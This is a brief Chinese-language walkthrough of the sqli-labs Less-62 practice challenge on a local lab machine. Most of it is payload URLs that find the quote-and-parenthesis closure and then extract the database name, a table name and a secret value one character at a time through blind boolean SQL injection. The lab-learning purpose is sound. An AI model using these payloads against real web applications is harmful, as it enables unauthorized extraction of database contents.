允许130次尝试，然后是个盲注漏洞，看来要单字符猜解了
加单引号，页面异常，但报错被屏蔽了
http://192.168.136.128/sqli-labs-master/Less-62/?id=1‘
加注释符，说名不止是用单引号闭合
http://192.168.136.128/sqli-labs-master/Less-62/?id=1‘%23
加单括号，页面恢复正常
http://192.168.136.128/sqli-labs-master/Less-62/?id=1‘)%23
猜解数据库名
http://192.168.136.128/sqli-labs-master/Less-62/?id=1‘) and ascii(substr((select database()),1,1))=98%23
http://192.168.136.128/sqli-labs-master/Less-62/?id=1‘) and ascii(substr((select database()),1,1))=99%23
数据库第一位字符为ascii=99的字符，即‘c‘
表名第一位字符‘W‘
http://192.168.136.128/sqli-labs-master/Less-62/?id=1‘) and ascii(substr((select table_name from information_schema.tables where table_schema=‘challenges‘),1,1))=87%23
http://192.168.136.128/sqli-labs-master/Less-62/?id=1‘) and ascii(substr((select secret_1O45 from WOJXNS9PWT),1,1))=49%23
